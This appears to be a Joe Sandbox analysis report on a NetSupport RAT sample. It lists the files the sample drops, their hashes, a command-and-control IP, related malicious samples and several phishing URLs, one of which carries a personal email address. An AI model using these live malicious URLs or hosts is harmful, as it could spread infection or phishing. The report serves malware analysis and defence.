C:\Users\Public\Downloads\HTCTL32.DLL	3%	ReversingLabs
C:\Users\Public\Downloads\PCICHEK.DLL	3%	ReversingLabs
C:\Users\Public\Downloads\PCICL32.DLL	12%	ReversingLabs
C:\Users\Public\Downloads\TCCTL32.DLL	3%	ReversingLabs
C:\Users\Public\Downloads\bild.exe	29%	ReversingLabs	Win32.Trojan.NetSupport
C:\Users\Public\Downloads\msvcr100.dll	0%	ReversingLabs
C:\Users\Public\Downloads\pcicapi.dll	3%	ReversingLabs
C:\Users\Public\Downloads\remcmdstub.exe	13%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://www.symauth.com/rpa00	0%	URL Reputation	safe
http://www.symauth.com/cps0(	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
geo.netsupportsoftware.com	104.26.1.231	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://geo.netsupportsoftware.com/location/loca.asp	false		unknown
http://185.215.113.64/fakeurl.htm	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.pci.co.uk/support	file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr	false		unknown
http://%s/testpage.htmwininet.dll	bild.exe, 00000001.00000002.4170686554.000000006D100000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.0.dr	false		unknown
http://geo.netsupportsoftware.com/ges	bild.exe, 00000001.00000002.4167415871.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr	false		unknown
http://www.pci.co.uk/supportsupport	file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr	false		unknown
http://www.symauth.com/rpa00	file.exe, 00000000.00000003.1740000186.0000000002CA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	false	URL Reputation: safe	unknown
http://127.0.0.1RESUMEPRINTING	file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr	false		unknown
http://%s/testpage.htm	bild.exe, bild.exe, 00000001.00000002.4170686554.000000006D100000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.0.dr	false		unknown
http://geo.netsupportsoftware.com/location/loca.aspP	bild.exe, 00000001.00000002.4167415871.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.netsupportschool.com/tutor-assistant.asp11(	file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr	false		unknown
http://127.0.0.1	bild.exe, bild.exe, 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr	false		unknown
http://geo.netsupportsoftware.com/location/loca.aspT	bild.exe, 00000001.00000002.4167415871.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.symauth.com/cps0(	file.exe, 00000000.00000003.1740000186.0000000002CA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	false	URL Reputation: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspH	bild.exe, 00000001.00000002.4167415871.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.netsupportschool.com/tutor-assistant.asp	file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr	false		unknown
http://%s/fakeurl.htm	bild.exe, bild.exe, 00000001.00000002.4170686554.000000006D100000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.0.dr	false		unknown
http://geo.netsupportsoftware.com/	bild.exe, 00000001.00000002.4167415871.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.64	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true
104.26.1.231	geo.netsupportsoftware.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546920
Start date and time:	2024-11-01 17:46:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal84.rans.evad.winEXE@3/12@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 81% Number of executed functions: 186 Number of non-executed functions: 186
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:47:34	API Interceptor	18259678x Sleep call for process: bild.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.64	7IJCtxcnxS.exe	Get hash	malicious	Amadey	Browse	185.215.113.64/hBugs2D/index.php
	hKaIeSBB9k.exe	Get hash	malicious	RedLine SmokeLoader	Browse	185.215.113.64:8765/
	bbN7lsCsNX.exe	Get hash	malicious	RedLine SmokeLoader	Browse	185.215.113.64:8765/
	adtchpSE5J.exe	Get hash	malicious	Ficker Stealer RedLine	Browse	185.215.113.64:8765/
	vVDSTekaDA.exe	Get hash	malicious	RedLine	Browse	185.215.113.64:8765/
	fnYVGiz0ji.exe	Get hash	malicious	RedLine SmokeLoader	Browse	185.215.113.64:8765/
	dWpElvEjYN.exe	Get hash	malicious	RedLine	Browse	185.215.113.64:8765/
	ocuf85hPiS.exe	Get hash	malicious	RedLine	Browse	185.215.113.64:8765/
	PuM3Cgkt6s.exe	Get hash	malicious	RedLine SmokeLoader	Browse	185.215.113.64:8765/
	cQTcwdKiKq.exe	Get hash	malicious	RedLine SmokeLoader	Browse	185.215.113.64:8765/
104.26.1.231	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	NeftPaymentError_Emdtd22102024_jpg.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	NeftPaymentError_Emdtd22102024_jpg.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	Update.js	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	update.js	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	upd_8707558.msix	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
geo.netsupportsoftware.com	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	172.67.68.212
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	172.67.68.212
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	172.67.68.212
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	104.26.1.231
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	104.26.1.231
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	104.26.1.231
	https://asknetsupertech.com/wp-content/plugins/elementor/app/modules/site-editor/CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	172.67.68.212
	file.exe	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	https://webdemo.biz/	Get hash	malicious	NetSupport RAT, CAPTCHA Scam	Browse	104.26.0.231

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	ukOlLduCBM.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.84
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	https://myabd.co.uk/main/arull.php?7080797967704b53693230746450544d6f737a6b6a4e533076544b7972566438774a38394d4841413d3d#EMAILBASE64#	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://otcengine3.valr.live/signIn	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://u47872954.ct.sendgrid.net/ls/click?upn=u001.fn1BsYIkFXRWxBLF12AvXhKUqktmOI7EPkchHYpa8lb2yJr9vm47Biq1iwhYH4x0W6E6_1tlZTUgFpToOJRvXeJjZ1lQQtiPaV281MW3UjMlmRxOXQrHf3E28Ct8cWw3pFJv8ww35QVlHVAsV9LrE8WJ-2FqWVvVFyUxLS7XbjE4ioBaNzI7Y9AQvglzmjEqljOvLuB-2FqyLAOnwfIZ8a2UOhb0kq4DsltFbCSVl8L5tTVcXPovhejZuw7J5gFYEuhvfLU6jp9IiI6bOp4vutoVple794Svog7VmNTHCQykEIajsBwvsIA9xBhrTaUhPe3riTZOj5RQVgP8LolzHF5ds6ImaI4Q1KNsmEF06CineSoPu7BKGd-2B4IINKzojAY3yUTkdWQLuCwDcmh7vK-2Fm4MQ0xAiPJ-2BNim16FZPVrX44e4DFM1rc1r1ZYN2APdeEIThalu0Ag-2BNzl5TCF9-2F-2B4cIgV-2B8ceF573hvcKOOmdD1jbxRbFryn-2FGT77SPyR6cNo7joqYajHU5-2F1gyPof24NnmOIwvhn7qKr0Ihz3SIWFLubPXV0GdcG6guT-2FBjwN6h83YPSF-2F5Pk0uzrf9DG4ZRnISsjJaazqmdBRAAsyoWwP5iXWDQEfiJXubX9fD-2BREtQifDIoI36c8qvCy5hrOP9aAfzd2djtg-2B8gR7MvgWYCa5sA7wAgdCKrrNRjX7eeAtG5StCtmRi-2BsSO4PCFgsA4QlR8AVRyhdPdKhSYzgA-2F1BCyYmRsFeWn4YzRn0mexGeZM3PwhHAdqlfom16LJGSiVeG98p5ZK5N-2BZQuMTlINorxwlmSmaGarY5x7TUyztB-2Bv8L8gRhXdcDKSzxiMknwYCjp3XaQdwr-2Fp8kePQSl33tJvX1ITAiP7FBhlwoPgNxbRoTwVzl0I2Q2bE71pQB2jeSQldBukVcgJT-2BrmpKQA1GW5-2B59frk-3D	Get hash	malicious	Unknown	Browse	172.66.40.133
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	https://u7990385.ct.sendgrid.net/ls/click?upn=u001.oZ6GXC16Ztdw1ob-2F3C5yow-2FsK2YC4S8s269h9OLgp-2FGcQesCtXDXKgCEAF90Sa3OUL2ncGoAKstQjRhddelr-2Bx3frrehyL8aaBbhAx-2Fm3uQTToUZwzw9vU-2BHl4N8-2FbXNOWh47xHSpNswH5B20hFc1rkwm1HkocouB6puE-2FnM91Ea9xIyldie1eyHQvDQGF6-2F1OUGSCOg8K-2Fk8REDXGncryLNWAkNll9tI4svh29XngoJuJcvPHIwWw07juA1Lr687mlf_LZJN6rqeZVHTY7vi7TysfnSOWUsKUPL2t2FWuf1mHJZyRrnfnXk5in-2FtsLaVkEL4z-2F5H1v5rdZCMtKV4-2B7XswPaXSOX44YEil-2BgQ6f1-2BLxpcwnoVslshbeFD8-2FSkDYUL5gsTS7cnhi8iHs4T9b6wzPIbVlUAEwQAwoGeUFJH5x3RAGtspzpDyRWDwHNrMMOluLHeocJQAj7iS1dnS-2B-2Fhpf21Fjpr9lUosnkGJYIkfG0KNsjglBmf2yQvwZsg0Wp706kciqJgB5pqtemV1qFgZLIL2K-2BsyRLGqv3bbeqv6LWX-2Fbn97e4q8h4LdJzfXKTxRJD2tMgj2k7Ls1BdPjLturPdeJvpG2db-2FhwENpXetZR7k21gPz6in5zk7zhcmgIkZssf1WUkdDcjfwIeY2HuQe6EHwacpAnjlFSG7cGBDYbRKnbjWz72QvhesvDQrxGZA-2F-2FwuD5CryGFeRAazVMLU-2FTUgYuXTJzCzL6qav9lYxCC-2Bwx97sSjci4FffUtDhPcIZfKCP-2Ff9rufbc-2FOdTD6VLIHU5lNW4k8Nb-2FWedSu8kS9RXhRxjWAbV4qYK-2F68HLgFHbzOrm6M-2FG6a-2BnVs9TkK9ei8xVDo6cAhkQYCxDYOCBJJC-2BfLWulZgQ85hdg59312Kv6zX2g11nE5GRn-2B6U-2B2tuv67vEmY8CUatMt7UrQHEhVlrPnXi1EamUHW4AGpMQfKBj0GXRdJxG0fD3Zx-2FiIXcDEoi3GhoWLQTKZU-2FWlBKJiyqDLjDXS6qRg1X-2Fsd3R5k7fswdpYLTizSHt12T6-2Bo0IoKg0cyJsPKBfoK9Uleu7f9wgtdH4RtvaMbk9-2Buqhl6zW9NHZET-2BbGJHqyqlBeTSBtTZM6ltHEDZrojb0Lhszq-2BKoSCsuyjzgKAFmmWSRMGxwsXoHHuV8LoFEZjuiOSkTWEP-2FvQ0ZaWfqnp81VXTEktfVY9Xmx-2FaHq5NRH3vqpZc6LNkkSHnpJBPIYA83Mw-3D-3D	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://messaging.webssites.click/validation.aspx?tab=eWFzaHlAYXZpYW53ZS5jb20=	Get hash	malicious	Unknown	Browse	172.67.143.73
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=sf_rand_string_mixed(5)FgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fir.nbaikp3.sa.com%2Fdelaw%2Flawn%2Fkoo%2Fsf_rand_string_mixed(24)/mario.caligiuri@edmontonpolice.ca	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	w9ap9yNeCb.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Downloads\HTCTL32.DLL	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	https://asknetsupertech.com/wp-content/plugins/elementor/app/modules/site-editor/CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	https://webdemo.biz/	Get hash	malicious	NetSupport RAT, CAPTCHA Scam	Browse
C:\Users\Public\Downloads\PCICHEK.DLL	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	https://asknetsupertech.com/wp-content/plugins/elementor/app/modules/site-editor/CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	NetSupport RAT	Browse
	https://webdemo.biz/	Get hash	malicious	NetSupport RAT, CAPTCHA Scam	Browse

Created / dropped Files

C:\Users\Public\Downloads\HTCTL32.DLL

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328056
Entropy (8bit):	6.754723001562745
Encrypted:	false
SSDEEP:	6144:2ib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OK/Y:2ib5YbsXioEgULFpSzya9/lY5SilQCfg
MD5:	2D3B207C8A48148296156E5725426C7F
SHA1:	AD464EB7CF5C19C8A443AB5B590440B32DBC618F
SHA-256:	EDFE2B923BFB5D1088DE1611401F5C35ECE91581E71503A5631647AC51F7D796
SHA-512:	55C791705993B83C9B26A8DBD545D7E149C42EE358ECECE638128EE271E85B4FDBFD6FBAE61D13533BF39AE752144E2CC2C5EDCDA955F18C37A785084DB0860C
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Downloads\HTCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: Advanced_IP_Scanner_2.5.4594.12.exe, Detection: malicious, Browse Filename: Advanced_IP_Scanner_2.5.4594.12.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P......=G....@......................... ...k....y..x.......@...............x).......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Downloads\NSM.LIC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	257
Entropy (8bit):	5.119720931145611
Encrypted:	false
SSDEEP:	6:O/oPn4xRPjwx1lDKHMoEEjLgpW2MezvLdNWYpPM/ioVLa8l6i7s:XeR7wx6JjjqW2MePBPM/ioU8l6J
MD5:	7067AF414215EE4C50BFCD3EA43C84F0
SHA1:	C331D410672477844A4CA87F43A14E643C863AF9
SHA-256:	2050CC232710A2EA6A207BC78D1EAC66A4042F2EE701CDFEEE5DE3DDCDC31D12
SHA-512:	17B888087192BCEA9F56128D0950423B1807E294D1C4F953D1BF0F5BD08E5F8E35AFEEE584EBF9233BFC44E0723DB3661911415798159AC118C8A42AAF0B902F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1200..0x3bcb348e....; NetSupport License File...; Generated on 11:54 - 21/03/2018........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=EVALUSION..maxslaves=5000..os2=1..product=10..serial_no=NSM165348..shrink_wrap=0..transport=0..

C:\Users\Public\Downloads\PCICHEK.DLL

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18808
Entropy (8bit):	6.22028391196942
Encrypted:	false
SSDEEP:	192:1ANeiOT8Z2b6SoVF6RRHaPrpF3o47jtd3hfwHjvud3hfwx7bjuh:1ANt+E2exrpxTSDuTuih
MD5:	A0B9388C5F18E27266A31F8C5765B263
SHA1:	906F7E94F841D464D4DA144F7C858FA2160E36DB
SHA-256:	313117E723DDA6EA3911FAACD23F4405003FB651C73DE8DEFF10B9EB5B4A058A
SHA-512:	6051A0B22AF135B4433474DC7C6F53FB1C06844D0A30ED596A3C6C80644DF511B023E140C4878867FA2578C79695FAC2EB303AEA87C0ECFC15A4AD264BD0B3CD
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Downloads\PCICHEK.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: Advanced_IP_Scanner_2.5.4594.12.exe, Detection: malicious, Browse Filename: Advanced_IP_Scanner_2.5.4594.12.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......sv..7.d.7.d.7.d.,...5.d.,...4.d.>o..0.d.7.e...d.,...3.d.,...6.d.,...6.d.,...6.d.Rich7.d.........PE..L...f..U...........!......................... ...............................`............@.........................p"..a.... ..P....@............... ..x)...P......@ ............................................... ..@............................text...$........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Downloads\PCICL32.DLL

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3735416
Entropy (8bit):	6.525042992590476
Encrypted:	false
SSDEEP:	49152:cTXNZ+0ci2aYNT8wstdAukudJ1xTvIZamclSp+73mPu:cTXNo0cpKwstTJIkS43mm
MD5:	00587238D16012152C2E951A087F2CC9
SHA1:	C4E27A43075CE993FF6BB033360AF386B2FC58FF
SHA-256:	63AA18C32AF7144156E7EE2D5BA0FA4F5872A7DEB56894F6F96505CBC9AFE6F8
SHA-512:	637950A1F78D3F3D02C30A49A16E91CF3DFCCC59104041876789BD7FDF9224D187209547766B91404C67319E13D1606DA7CEC397315495962CBF3E2CCD5F1226
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\Public\Downloads\PCICL32.DLL, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Downloads\PCICL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........(.t.I.'.I.'.I.'A..'.I.'...'.I.'.?#'.I.'...'.I.'.1.'.I.'.I.'.J.'.1.'.I.'.1.'.I.'..#',I.'.."'.I.'...'.I.'...'.I.'...'.I.'Rich.I.'................PE..L......V...........!......... ..............0................................9.....f-9.....................................4........`................8.x)...P7.p....@.......................P.......P..@............0..........`....................text............................... ..`.rdata.......0......................@..@.data....%..........................@....tls.........@......................@....hhshare.....P......................@....rsrc........`......................@..@.reloc..(2...P7..4....6.............@..B........................................................................................................................................................................................................

C:\Users\Public\Downloads\TCCTL32.DLL

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	396664
Entropy (8bit):	6.809064783360712
Encrypted:	false
SSDEEP:	12288:OpwbUb48Ju0LIFZB4Qaza4yFaMHAZtJ4Yew2j/bJa+neNQ:epq7BaGIn4BbLneNQ
MD5:	EAB603D12705752E3D268D86DFF74ED4
SHA1:	01873977C871D3346D795CF7E3888685DE9F0B16
SHA-256:	6795D760CE7A955DF6C2F5A062E296128EFDB8C908908EDA4D666926980447EA
SHA-512:	77DE0D9C93CCBA967DB70B280A85A770B3D8BEA3B707B1ABB037B2826B48898FEC87924E1A6CCE218C43478E5209E9EB9781051B4C3B450BEA3CD27DBD32C7F3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Downloads\TCCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L...Y?XV...........!................................................................'.....@.............................o...T...x....0..@...............x)...@..\E..................................`d..@...............h............................text............................... ..`.rdata../...........................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc.. F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Downloads\bild.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	105848
Entropy (8bit):	4.68250265552195
Encrypted:	false
SSDEEP:	384:qTjV5+6j6Qa86Fkv2Wr120hZIqeTSGRp2TkFimMP:qHVZl6FhWr80/heT8TkFiH
MD5:	8D9709FF7D9C83BD376E01912C734F0A
SHA1:	E3C92713CE1D7EAA5E2B1FABEB06CDC0BB499294
SHA-256:	49A568F8AC11173E3A0D76CFF6BC1D4B9BDF2C35C6D8570177422F142DCFDBE3
SHA-512:	042AD89ED2E15671F5DF67766D11E1FA7ADA8241D4513E7C8F0D77B983505D63EBFB39FEFA590A2712B77D7024C04445390A8BF4999648F83DBAB6B0F04EB2EE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Downloads\bild.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
